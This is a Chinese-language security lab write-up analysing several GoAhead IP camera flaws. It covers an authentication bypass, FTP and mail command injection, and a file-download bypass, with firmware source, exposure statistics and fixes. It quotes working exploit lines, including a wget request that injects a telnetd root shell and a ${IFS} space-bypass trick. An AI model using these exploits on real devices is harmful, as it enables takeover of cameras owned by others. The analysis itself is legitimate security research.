PDF 版本下載:抓住“新代碼”的影子 —— 基于GoAhead系列網絡攝像頭多個漏洞分析
Author:知道創宇404實驗室 Date:2017/03/19
一.漏洞背景
GoAhead作為世界上最受歡迎的嵌入式Web服務器被部署在數億臺設備中,是各種嵌入式設備與應用的理想選擇。當然,各廠商也會根據不同產品需求對其進行一定程度的二次開發。
2017年3月7日,Seebug漏洞平臺收錄了一篇基于GoAhead系列攝像頭的多個漏洞。該漏洞為Pierre Kim在博客上發表的一篇文章,披露了存在于1250多個攝像頭型號的多個通用型漏洞。其在文章中將其中一個驗證繞過漏洞歸類為GoAhead服務器的漏洞,但事后證明,該漏洞卻是由廠商二次開發GoAhead服務器產生的。于此同時,Pierre Kim將其中兩個漏洞組合使用,成功獲取了攝像頭的最高權限。
二.漏洞分析
當我們開始著手分析這些漏洞時發現GoAhead官方源碼不存在該漏洞,解開的更新固件無法找到對應程序,一系列困難接踵而至。好在根據該漏洞特殊變量名稱loginuse和loginpas,我們在github上找到一個上個月還在修改的門鈴項目。抓著這個“新代碼”的影子,我們不僅分析出了漏洞原理,還通過分析結果找到了漏洞新的利用方式。
由于該項目依賴的一些外部環境導致無法正常編譯,我們僅僅通過靜態代碼分析得出結論,因此難免有所疏漏。如有錯誤,歡迎指正。:)
1.驗證繞過導致的信息(登錄憑據)泄漏漏洞
作者給出POC: curl http://ip:port/system.ini?loginuse&loginpas
根據作者給出的POC,我們進行了如下測試:

可以看出,只要url中含有loginuse和loginpas這兩個值即無需驗證。甚至當這兩個值對應的賬號密碼為空或者為錯誤的zzzzzzzzzzzzzz時均可通過驗證。
看到這里,我們大致可以判斷出驗證loginuse和loginpas的邏輯問題導致該漏洞的出現。于是,在此門鈴項目中直接搜索loginuse定位到關鍵函數。
/func/ieparam.c第6407-6485行AdjustUserPri函數如下:
unsigned char AdjustUserPri( char* url )
{
int iRet;
int iRet1;
unsigned char byPri = 0;
char loginuse[32];
char loginpas[32];
char decoderbuf[128];
char temp2[128];
memset( loginuse, 0x00, 32 );
memset( loginpas, 0x00, 32 );
memset( temp2, 0x00, 128 );
iRet = GetStrParamValue( url, "loginuse", temp2, 31 );
//判斷是否存在loginuse值,并將獲取到的值賦給temp2
if ( iRet == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginuse, 0x00, 31 );
strcpy( loginuse, decoderbuf );
}
//如果存在,則將temp2復制到loginuse數組中
memset( temp2, 0x00, 128 );
iRet1 = GetStrParamValue( url, "loginpas", temp2, 31 );
//判斷是否存在loginpas值,并將獲取到的值賦給temp2
if ( iRet1 == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginpas, 0x00, 31 );
strcpy( loginpas, decoderbuf );
}
//如果存在,則將temp2復制到loginpas數組中
if ( iRet == 0 )
{
if ( iRet1 == 0x00 )
{
//printf("user %s pwd:%s\n",loginuse,loginpas);
byPri = GetUserPri( loginuse, loginpas );
//如果兩次都獲取到了對應的值,則通過GetUserPri進行驗證。
return byPri;
}
}
memset( loginuse, 0x00, 32 );
memset( loginpas, 0x00, 32 );
memset( temp2, 0x00, 128 );
iRet = GetStrParamValue( url, "user", temp2, 31 );
if ( iRet == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginuse, 0x00, 31 );
strcpy( loginuse, decoderbuf );
}
memset( temp2, 0x00, 128 );
iRet1 = GetStrParamValue( url, "pwd", temp2, 31 );
if ( iRet1 == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginpas, 0x00, 31 );
strcpy( loginpas, decoderbuf );
}
if ( iRet == 0 )
{
if ( iRet1 == 0x00 )
{
//printf("user %s pwd:%s\n",loginuse,loginpas);
byPri = GetUserPri( loginuse, loginpas );
return byPri;
}
}
//獲取user和pwd參數,邏輯結構與上方的loginuse和loginpas相同。
return byPri;
}
我們對其中步驟做了注釋,根據這段邏輯,我們先通過GetStrParamValue()獲取loginuse和loginpas對應值,然后將獲取值通過GetUserPri()函數進行驗證。跟進GetStrParamValue()這個函數,我們發現了更奇怪的事情。
command/cmd_thread.c中第13-51行GetStrParamValue()函數如下:
//結合上面代碼中的iRet = GetStrParamValue( url, "loginuse", temp2, 31 );審視這段代碼
int GetStrParamValue( const char* pszSrc, const char* pszParamName, char* pszParamValue )
{
const char* pos1, *pos = pszSrc;
unsigned char len = 0;
if ( !pszSrc || !pszParamName )
{
return -1;
}
//判斷url和需要查找的變量loginuse是否存在
pos1 = strstr( pos, pszParamName );
if ( !pos1 )
{
return -1;
}
//由于url中含有loginuse,所以這里pos1可以取到對應的值,故不進入if(!pos1)
pos = pos1 + strlen( pszParamName ) + 1;
pos1 = strstr( pos, "&" );
if ( pos1 )
{
memcpy( pszParamValue, pos, pos1 - pos );
//根據正常情況loginuse=admin&loginpas=xxx,這一段代碼的邏輯是從loginuse后一位也就是等于號開始取值直到&號作為loginuse對應的值。
//根據作者的POC:loginuse&loginpas,最終這里pos應該位于pos1后一位,所以pos1-pos = -1
//memcpy( pszParamValue, pos, -1 );無法運行成功。
len = pos1 - pos;
}
else
{
pos1 = strstr( pos, " " );
if ( pos1 != NULL )
{
memcpy( pszParamValue, pos, pos1 - pos );
len = pos1 - pos;
}
}
return 0;
//不論上述到底如何取值,最終都可以返回0
}
根據作者給出的POC,在memcpy()函數處會導致崩潰,但事實上,我們的web服務器正常運行并返回system.ini具體內容。這一點令我們百思不得其解。當我們對AdjustUserPri()函數向上溯源時終于弄清楚是上層代碼問題導致代碼根本無法運行到這里,所以也不會導致崩潰。
func/ieparam.c文件第7514-7543行調用了AdjustUserPri()函數:
if ( auth == 0x00 )
{
char temp[512];
int wlen = 0;
if ( len )
{
return 0;
}
#if 0
byPri = AdjustUserPri( url );
printf("url:%s byPri %d\n",url,byPri);
if ( byPri == 0x00 )
{
memset( temp, 0x00, 512 );
wlen += sprintf( temp + wlen, "var result=\"Auth Failed\";\r\n" );
memcpy( pbuf, temp, wlen );
return wlen;
}
#else
byPri = 255;
#endif
}
else
{
byPri = pri;
}
在之前跟GetUserPri()函數時有一行注釋://result:0->error user or passwd error 1->vistor 2->opration 255->admin。當我們回頭再看這段函數時,可以發現開發者直接將驗證部分注釋掉,byPri被直接賦值為255,這就意味著只要進入這段邏輯,用戶權限就直接是管理員了。這里已經可以解釋本小節開篇進行的測試了,也就是為什么我們輸入空的用戶名和密碼或者錯誤的用戶名和密碼也可以通過驗證。
很遺憾,我們沒有繼續向上溯源找到這里的auth這個值到底是如何而來。不過根據這里的代碼邏輯,我們可以猜測,當auth為0時,通過GET請求中的參數驗證用戶名密碼。當auth不為0時,通過HTTP摘要驗證方式來驗證用戶名密碼。
再看一遍上方代碼,GET請求中含有參數loginuse和loginpas就直接可以通過驗證。那么AdjustUserPri()函數中另外兩個具有相同邏輯的參數user和pwd呢?
成功抓住"新代碼"的影子
2.遠程命令執行漏洞一(需登錄)
作者給出的exp如下:
user@kali$ wget -qO- 'http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0'
user@kali$ wget -qO- 'http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin'
可以看到,該exp分為兩步,第一步先設置ftp各種參數,第二步按照第一步設置的各參數測試ftp鏈接,同時導致我們在第一步設置的命令被執行。
我們在func/ieparam.c文件中找到了set_ftp.cgi和ftptest.cgi的調用過程
383: pdst = strstr( pcmd, "ftptest.cgi" );
384:
385: if ( pdst != NULL )
386: {
387: return CGI_IESET_FTPTEST;
388: }
455: pdst = strstr( pcmd, "set_ftp.cgi" );
456:
457: if ( pdst != NULL )
458: {
459: return CGI_IESET_FTP;
460: }
7658: case CGI_IESET_FTPTEST:
7659: if ( len == 0x00 )
7660: {
7661: iRet = cgisetftptest( pbuf, pparam, byPri );
7662: }
7756: case CGI_IESET_FTP:
7757: if ( len == 0x00 )
7758: {
7759: iRet = cgisetftp( pbuf, pparam, byPri );
7760: NoteSaveSem();
7761: }
首先跟蹤cgisetftp( pbuf, pparam, byPri );這個函數,我們發現,該函數僅僅是獲取到我們請求的參數并將參數賦值給結構體中的各個變量。關鍵代碼如下:
//這部分代碼可以不做細看,下一步我們進行ftp測試連接的時候對照該部分尋找對應的值就可以了。
iRet = GetStrParamValue( pparam, "svr", temp2, 63 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );
strcpy( bparam.stFtpParam.szFtpSvr, decoderbuf );
GetIntParamValue( pparam, "port", &iValue );
bparam.stFtpParam.nFtpPort = iValue;
iRet = GetStrParamValue( pparam, "user", temp2, 31 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
strcpy( bparam.stFtpParam.szFtpUser, decoderbuf );
memset( temp2, 0x00, 64 );
iRet = GetStrParamValue( pparam, "pwd", temp2, 31 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
strcpy( bparam.stFtpParam.szFtpPwd, decoderbuf );
//我們構造的命名被賦值給了參數bparam.stFtpParam.szFtpPwd
iRet = GetStrParamValue( pparam, "dir", temp2, 31 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
strcpy( bparam.stFtpParam.szFtpDir, decoderbuf );
if(decoderbuf[0] == 0)
{
strcpy(bparam.stFtpParam.szFtpDir, "/" );
}
GetIntParamValue( pparam, "mode", &iValue );
bparam.stFtpParam.byMode = iValue;
GetIntParamValue( pparam, "upload_interval", &iValue );
bparam.stFtpParam.nInterTime = iValue;
iRet = GetStrParamValue( pparam, "filename", temp1, 63 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );
strcpy( bparam.stFtpParam.szFileName, decoderbuf );
綜上所述,set_ftp.cgi僅僅是將我們請求的各參數寫入全局變量中。
接下來是ftptest.cgi部分,也就是調用了iRet = cgisetftptest( pbuf, pparam, byPri );這個函數。在該函數中,最為關鍵的函數為DoFtpTest();。直接跳到func/ftp.c文件中找到函數DoFtpTest():
int DoFtpTest( void )
{
int iRet = 0;
iRet = FtpConfig( 0x01, NULL );
if ( iRet == 0 )
{
char cmd[128];
memset(cmd, 0, 128);
sprintf(cmd, "/tmp/ftpupdate1.sh > %s", FILE_FTP_TEST_RESULT);
iRet = DoSystem(cmd);
//iRet = DoSystem( "/tmp/ftpupdate1.sh > /tmp/ftpret.txt" );
}
return iRet;
}
可以看到,執行 FtpConfig()函數后運行了/tmp/ftpupdate1.sh。先讓我們看看 FtpConfig()函數如何 處理該問題:
int FtpConfig( char test, char* filename )
{
......
fp = fopen( "/tmp/ftpupdate1.sh", "wb" );
memset( cmd, 0x00, 128 );
sprintf( cmd, "/system/system/bin/ftp -n<<!\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "open %s %d\n", bparam.stFtpParam.szFtpSvr, bparam.stFtpParam.nFtpPort );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "user %s %s\n", bparam.stFtpParam.szFtpUser, bparam.stFtpParam.szFtpPwd );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "binary\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
if ( bparam.stFtpParam.byMode == 1 ) //passive
{
memset( cmd, 0x00, 128 );
sprintf( cmd, "pass\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
}
#ifdef CUSTOM_DIR
char sub_temp[ 128 ];
memset(sub_temp, 0, 128);
//strcpy(sub_temp, bparam.stFtpParam.szFtpDir);
sprintf(sub_temp, "%s/%s", bparam.stFtpParam.szFtpDir,bparam.stIEBaseParam.dwDeviceID);
flag = sub_dir(fp,sub_temp);
if(flag){
memset( cmd, 0x00, 128 );
sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir );
fwrite( cmd, 1, strlen( cmd ), fp );
}
#else
memset( cmd, 0x00, 128 );
sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir );
fwrite( cmd, 1, strlen( cmd ), fp );
#endif
memset( cmd, 0x00, 128 );
sprintf( cmd, "lcd /tmp\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
if ( test == 0x01 )
{
FtpFileTest();
memset( cmd, 0x00, 128 );
sprintf( cmd, "put ftptest.txt\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
}
else
{
char filename1[128];
memset( filename1, 0x00, 128 );
memcpy( filename1, filename + 5, strlen( filename ) - 5 );
memset( cmd, 0x00, 128 );
sprintf( cmd, "put %s\n", filename1 );
fwrite( cmd, 1, strlen( cmd ), fp );
}
memset( cmd, 0x00, 128 );
sprintf( cmd, "close\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "bye\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "!\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
fclose( fp );
iRet = access( "/tmp/ftpupdate1.sh", X_OK );
if ( iRet )
{
DoSystem( "chmod a+x /tmp/ftpupdate1.sh" );
}
return 0;
}
至此,邏輯很清晰了。在FtpConfig()函數中,將我們之前在設置的時候輸入的各個值寫入了/tmp/ftpupdate1.sh中,然后在DoFtpTest()中運行該腳本,導致最后的命令執行。這一點,同樣可以在漏洞作者原文中得到證明:
作者原文中展示的/tmp/ftpupload.sh:
/ # cat /tmp/ftpupload.sh
/bin/ftp -n<<!
open 192.168.1.1 21
user ftp $(telnetd -l /bin/sh -p 25)ftp
binary
lcd /tmp
put ftptest.txt
close
bye
!
/ #
實際測試中,我們發現:如果直接用作者給出的exp去嘗試RCE往往是不能成功的。從http://ip:port/get_params.cgi?user=username&pwd=password可以發現,我們注入的命令在空格處被截斷了。

于是我們用${IFS}替換空格(還可以采用+代替空格):

但是由于有長度限制再次被截斷,調整長度,最終成功執行命令:
成功抓住新代碼的影子
3.GoAhead繞過驗證文件下載漏洞
2017年3月9日,Pierre Kim在文章中增加了兩個鏈接,描述了一個GoAhead 2.1.8版本之前的任意文件下載漏洞。攻擊者通過使用該漏洞,再結合一個新的遠程命令執行漏洞可以再次獲取攝像頭的最高權限。有意思的是,這個漏洞早在2004年就已被提出并成功修復(http://aluigi.altervista.org/adv/goahead-adv2.txt)。但是由于眾多攝像頭仍然使用存在該漏洞的老代碼,該漏洞仍然可以在眾多攝像頭設備復現。
我們也查找了此門鈴項目中的GoAhead服務器版本。web/release.txt前三行內容如下:
=====================================
GoAhead WebServer 2.1.8 Release Notes
=====================================
再仔細查看websUrlHandlerRequest()內容,發現并未對該漏洞進行修復,說明該漏洞也影響這個門鈴項目。以此類推,本次受影響的攝像頭應該也存在這個漏洞,果不其然:
那么,具體的漏洞成因又是如何呢?讓我們來跟進./web/LINUX/main.c了解該漏洞的成因:
initWebs()函數中,關鍵代碼如下:
154: umOpen();
157: umAddGroup( T( "adm" ), 0x07, AM_DIGEST, FALSE, FALSE );
159: umAddUser( admu, admp, T( "adm" ), FALSE, FALSE );
160: umAddUser( "admin0", "admin0", T( "adm" ), FALSE, FALSE );
161: umAddUser( "admin1", "admin1", T( "adm" ), FALSE, FALSE );
162: umAddAccessLimit( T( "/" ), AM_DIGEST, FALSE, T( "adm" ) );
224: websUrlHandlerDefine( T( "" ), NULL, 0, websSecurityHandler, WEBS_HANDLER_FIRST );
227: websUrlHandlerDefine( T( "" ), NULL, 0, websDefaultHandler,WEBS_HANDLER_LAST );
其中,150-160中um開頭的函數為用戶權限控制的相關函數。主要做了以下四件事情:
1. umOpen() 打開用戶權限控制
2. umAddGroup() 增加用戶組adm,并設置該用戶組用戶使用HTTP摘要認證方式登錄
3. umAddUser() 增加用戶admin,admin0,admin1,并且這三個用戶均屬于adm用戶組
4. umAddAccessLimit() 增加限制路徑/,凡是以/開頭的路徑都要通過HTTP摘要認證的方式登錄屬于adm組的用戶。
緊接著,在220多行通過websUrlHandlerDefine()函數運行了兩個Handler,websSecurityHandler和websDefaultHandler。在websSecurityHandler中,對HTTP摘要認證方式進行處理。關鍵代碼如下:
86: accessLimit = umGetAccessLimit( path );
115: am = umGetAccessMethodForURL( accessLimit );
116: nRet = 0;
118-242: if ( ( flags & WEBS_LOCAL_REQUEST ) && ( debugSecurity == 0 ) ){……}
245: return nRet;
第86行,umGetAccessLimit()函數用于將我們請求的路徑規范化,主要邏輯就是去除路徑最后的/或者\\,確保我們請求的是一個文件。umGetAccessMethodForURL()函數用于獲取我們請求的路徑對應的權限。這里,我們請求的路徑是system.ini,根據上文,我們的設置是對/路徑需要進行HTTP摘要認證,由于程序判斷system.ini不屬于/路徑,所以這里am為默認的AM_INVALID,即無需驗證。
緊接著向下,nRet初始化賦值為0.在118-242行中,如果出現了賬號密碼錯誤等情況,則會將nRet賦值為1,表示驗證不通過。但是由于我們請求的路徑無需驗證,所以判斷結束時nRet仍為0。因此,順利通過驗證,獲取到對應的文件內容。
就這樣,我們再次抓住了這個”新代碼”的影子,雖然這個2004年的漏洞讓我們不得不為新代碼這三個字加上了雙引號。
4.遠程命令執行漏洞二(需登錄)
在Pierre Kim新增的兩個鏈接中,還介紹了一種新的遠程命令執行的方式。即通過set_mail.cgi和mailtest.cgi來執行命令。
與上一個遠程命令執行漏洞一樣,我們先在func/ieparam.c文件中找到set_mail.cgi和mailtest.cgi的調用過程
257: pdst = strstr( pcmd, "set_mail.cgi" );
258:
259: if ( pdst != NULL )
260: {
261: return CGI_IESET_MAIL;
262: }
348: pdst = strstr( pcmd, "mailtest.cgi" );
349:
350: if ( pdst != NULL )
351: {
352: return CGI_IESET_MAILTEST;
353:}
7674: case CGI_IESET_MAILTEST:
7675: if ( len == 0x00 )
7676: {
7677: iRet = cgisetmailtest( pbuf, pparam, byPri );
7678: }
7679:
7680: break;
7746: case CGI_IESET_MAIL:
7747: if ( len == 0x00 )
7748: {
7749: iRet = cgisetmail( pbuf, pparam, byPri );
7750: IETextout( "-------------OK--------" );
7751: NoteSaveSem();
7752: }
7753:
7754: break;
跟上一個遠程命令執行漏洞類似,cgisetmail()函數用于將各參數儲存到結構體,例如sender參數賦值給bparam.stMailParam.szSender、receiver1參數賦值給bparam.stMailParam.szReceiver1。
接著,來到了cgisetmailtest()函數:
int cgisetmailtest( unsigned char* pbuf, char* pparam, unsigned char byPri )
{
unsigned char temp[2048];
int len = 0;
int result = 0;
char nexturl[64];
int iRet = 0;
memset( temp, 0x00, 2048 );
//iRet = DoMailTest();
if(iRet == 0)
{
IETextout("Mail send over, OK or Not");
}
/* END: Added by Baggio.wu, 2013/10/25 */
memset( nexturl, 0x00, 64 );
iRet = GetStrParamValue( pparam, "next_url", nexturl, 63 );
if ( iRet == 0x00 )
{
#if 1
len += RefreshUrl( temp + len, nexturl );
#endif
memcpy( pbuf, temp, len );
}
else
{
len += sprintf( temp + len, "var result=\"ok\";\r\n" );
memcpy( pbuf, temp, len );
}
printf( "sendmail len:%d\n", len );
return len;
}
該函數第十行已被注釋掉。這是使用此函數發送郵件證據的唯一可尋之處。雖然被注釋掉了,我們也要繼續跟蹤DoMailTest()這個函數:
int DoMailTest( void ) //email test
{
int iRet = -1;
char cmd[256];
if ( bparam.stMailParam.szSender[0] == 0 )
{
return -1;
}
if ( bparam.stMailParam.szReceiver1[0] != 0x00 )
{
iRet = EmailConfig();
if ( iRet )
{
return -1;
}
memset( cmd, 0x00, 256 );
/* BEGIN: Modified by Baggio.wu, 2013/9/9 */
sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\" %s",
bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 );
//sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -v -s \"mail test\" %s",
// bparam.stMailParam.szReceiver1 );
printf( "start cmd:%s\n", cmd );
EmailWrite( cmd, strlen( cmd ) );
//emailtest();
printf( "cmd:%s\n", cmd );
}
return iRet;
}
可以看到sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\" %s",bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 );發件人和收件人都直接被拼接成命令導致最后的命令執行。
三.漏洞影響范圍
ZoomEye網絡空間探測引擎探測結果顯示,全球范圍內共查詢到78萬條歷史記錄。我們根據這78萬條結果再次進行探測,發現這些設備一共存在三種情況:
- 第一種是設備不存在漏洞。
-
第二種是設備存在驗證繞過漏洞,但是由于
web目錄下沒有system.ini,導致最終無法被利用。
可以看到,當我們直接請求system.ini的時候,顯示需要認證,但是當我們繞過驗證之后,卻顯示404 not found。 -
最后一種是設備既存在驗證繞過漏洞,又存在
system.ini文件。這些設備就存在被入侵的風險。
我們統計了最后一種設備的數量,數據顯示有近7萬的設備存在被入侵的風險。這7萬設備的國家分布圖如下:
可以看出,美國、中國、韓國、法國、日本屬于重災區。我國一共有 7000 多臺設備可能被入侵,其中近 6000 臺位于香港。我們根據具體數據做成兩張柱狀圖以便查看:

(注:None為屬于中國,但未解析出具體地址的IP)
我們通過查詢ZoomEye網絡空間探測引擎歷史記錄,導出2016年1月1日,2017年1月1日和本報告編寫時2017年3月14日三個時間點的數據進行分析。
在這三個時間點,我們分別收錄了banner中含有GoAhead 5ccc069c403ebaf9f0171e9517f40e41的設備26萬臺、65萬臺和78萬臺。

但是這些ip中,存在漏洞的設備增長趨勢卻完全不同。

可以看到,2016年1月1日已探明的設備中目前僅有2000多臺存在漏洞,2017年1月1日之前探明的設備中有近3萬臺存在漏洞,僅僅兩個多月后的今天,已有近7萬臺設備存在漏洞。
根據以上數據,我們可以做出如下判斷:該漏洞出現時間大約是去年,直到今年被曝光之后才被大家所關注。在此期間,舊攝像頭通過更新有漏洞固件的方式導致了該漏洞的出現,而那些新生產的攝像頭則被銷售到世界各地。根據今年新增的ip的地理位置,我們可以大致判斷出這些存在漏洞的攝像頭今年被銷往何地。
根據數據,我們可以看到,主要銷售到了美國、中國、韓國、日本。中國新增了5316臺存在漏洞的攝像頭,其中4000多臺位于香港。
四.修復方案
1.將存在漏洞的攝像頭設備放置于內網。 2.及時升級到最新固件。 3.對于可能被感染的設備,可以采取重啟的方式來殺死駐留在內存里的惡意進程。
五.參考鏈接
- https://www.seebug.org/vuldb/ssvid-92789
- https://www.seebug.org/vuldb/ssvid-92748
- https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
- https://github.com/kuangxingyiqing/bell-jpg
- http://aluigi.altervista.org/adv/goahead-adv2.txt
附表1:Pierre Kim給出的受影響設備列表:
| 列表如下: |
|---|
| 3G+IPCam Other |
| 3SVISION Other |
| 3com CASA |
| 3com Other |
| 3xLogic Other |
| 3xLogic Radio |
| 4UCAM Other |
| 4XEM Other |
| 555 Other |
| 7Links 3677 |
| 7Links 3677-675 |
| 7Links 3720-675 |
| 7Links 3720-919 |
| 7Links IP-Cam-in |
| 7Links IP-Wi-Fi |
| 7Links IPC-760HD |
| 7Links IPC-770HD |
| 7Links Incam |
| 7Links Other |
| 7Links PX-3615-675 |
| 7Links PX-3671-675 |
| 7Links PX-3720-675 |
| 7Links PX3309 |
| 7Links PX3615 |
| 7Links ipc-720 |
| 7Links px-3675 |
| 7Links px-3719-675 |
| 7Links px-3720-675 |
| A4Tech Other |
| ABS Other |
| ADT RC8021W |
| AGUILERA AQUILERA |
| AJT AJT-019129-BBCEF |
| ALinking ALC |
| ALinking Other |
| ALinking dax |
| AMC Other |
| ANRAN ip180 |
| APKLINK Other |
| AQUILA AV-IPE03 |
| AQUILA AV-IPE04 |
| AVACOM 5060 |
| AVACOM 5980 |
| AVACOM H5060W |
| AVACOM NEW |
| AVACOM Other |
| AVACOM h5060w |
| AVACOM h5080w |
| Acromedia IN-010 |
| Acromedia Other |
| Advance Other |
| Advanced+home lc-1140 |
| Aeoss J6358 |
| Aetos 400w |
| Agasio A500W |
| Agasio A502W |
| Agasio A512 |
| Agasio A533W |
| Agasio A602W |
| Agasio A603W |
| Agasio Other |
| AirLink Other |
| Airmobi HSC321 |
| Airsight Other |
| Airsight X10 |
| Airsight X34A |
| Airsight X36A |
| Airsight XC39A |
| Airsight XX34A |
| Airsight XX36A |
| Airsight XX40A |
| Airsight XX60A |
| Airsight x10 |
| Airsight x10Airsight |
| Airsight xc36a |
| Airsight xc49a |
| Airsight xx39A |
| Airsight xx40a |
| Airsight xx49a |
| Airsight xx51A |
| Airsight xx51a |
| Airsight xx52a |
| Airsight xx59a |
| Airsight xx60a |
| Akai AK7400 |
| Akai SP-T03WP |
| Alecto 150 |
| Alecto Atheros |
| Alecto DVC-125IP |
| Alecto DVC-150-IP |
| Alecto DVC-1601 |
| Alecto DVC-215IP |
| Alecto DVC-255-IP |
| Alecto dv150 |
| Alecto dvc-150ip |
| Alfa 0002HD |
| Alfa Other |
| Allnet 2213 |
| Allnet ALL2212 |
| Allnet ALL2213 |
| Amovision Other |
| Android+IP+cam IPwebcam |
| Anjiel ip-sd-sh13d |
| Apexis AH9063CW |
| Apexis APM-H803-WS |
| Apexis APM-H804-WS |
| Apexis APM-J011 |
| Apexis APM-J011-Richard |
| Apexis APM-J011-WS |
| Apexis APM-J012 |
| Apexis APM-J012-WS |
| Apexis APM-J0233 |
| Apexis APM-J8015-WS |
| Apexis GENERIC |
| Apexis H |
| Apexis HD |
| Apexis J |
| Apexis Other |
| Apexis PIPCAM8 |
| Apexis Pyle |
| Apexis XF-IP49 |
| Apexis apexis |
| Apexis apm- |
| Apexis dealextreme |
| Aquila+Vizion Other |
| Area51 Other |
| ArmorView Other |
| Asagio A622W |
| Asagio Other |
| Asgari 720U |
| Asgari Other |
| Asgari PTG2 |
| Asgari UIR-G2 |
| Atheros ar9285 |
| AvantGarde SUMPPLE |
| Axis 1054 |
| Axis 241S |
| B-Qtech Other |
| B-Series B-1 |
| BRAUN HD-560 |
| BRAUN HD505 |
| Beaulieu Other |
| Bionics Other |
| Bionics ROBOCAM |
| Bionics Robocam |
| Bionics T6892WP |
| Bionics t6892wp |
| Black+Label B2601 |
| Bravolink Other |
| Breno Other |
| CDR+king APM-J011-WS |
| CDR+king Other |
| CDR+king SEC-015-C |
| CDR+king SEC-016-NE |
| CDR+king SEC-028-NE |
| CDR+king SEC-029-NE |
| CDR+king SEC-039-NE |
| CDR+king sec-016-ne |
| CDXX Other |
| CDXXcamera Any |
| CP+PLUS CP-EPK-HC10L1 |
| CPTCAM Other |
| Camscam JWEV-372869-BCBAB |
| Casa Other |
| Cengiz Other |
| Chinavasion Gunnie |
| Chinavasion H30 |
| Chinavasion IP611W |
| Chinavasion Other |
| Chinavasion ip609aw |
| Chinavasion ip611w |
| Cloud MV1 |
| Cloud Other |
| CnM IP103 |
| CnM Other |
| CnM sec-ip-cam |
| Compro NC150/420/500 |
| Comtac CS2 |
| Comtac CS9267 |
| Conceptronic CIPCAM720PTIWL |
| Conceptronic cipcamptiwl |
| Cybernova Other |
| Cybernova WIP604 |
| Cybernova WIP604MW |
| D-Link DCS-910 |
| D-Link DCS-930L |
| D-Link L-series |
| D-Link Other |
| DB+Power 003arfu |
| DB+Power DBPOWER |
| DB+Power ERIK |
| DB+Power HC-WV06 |
| DB+Power HD011P |
| DB+Power HD012P |
| DB+Power HD015P |
| DB+Power L-615W |
| DB+Power LA040 |
| DB+Power Other |
| DB+Power Other2 |
| DB+Power VA-033K |
| DB+Power VA0038K |
| DB+Power VA003K+ |
| DB+Power VA0044_M |
| DB+Power VA033K |
| DB+Power VA033K+ |
| DB+Power VA035K |
| DB+Power VA036K |
| DB+Power VA038 |
| DB+Power VA038k |
| DB+Power VA039K |
| DB+Power VA039K-Test |
| DB+Power VA040 |
| DB+Power VA390k |
| DB+Power b |
| DB+Power b-series |
| DB+Power extcams |
| DB+Power eye |
| DB+Power kiskFirstCam |
| DB+Power va033k |
| DB+Power va039k |
| DB+Power wifi |
| DBB IP607W |
| DEVICECLIENTQ CNB |
| DKSEG Other |
| DNT CamDoo |
| DVR DVR |
| DVS-IP-CAM Other |
| DVS-IP-CAM Outdoor/IR |
| Dagro DAGRO-003368-JLWYX |
| Dagro Other |
| Dericam H216W |
| Dericam H502W |
| Dericam M01W |
| Dericam M2/6/8 |
| Dericam M502W |
| Dericam M601W |
| Dericam M801W |
| Dericam Other |
| Digix Other |
| Digoo BB-M2 |
| Digoo MM==BB-M2 |
| Digoo bb-m2 |
| Dinon 8673 |
| Dinon 8675 |
| Dinon SEGEV-105 |
| Dinon segev-103 |
| Dome Other |
| Drilling+machines Other |
| E-Lock 1000 |
| ENSIDIO IP102W |
| EOpen Open730 |
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/252/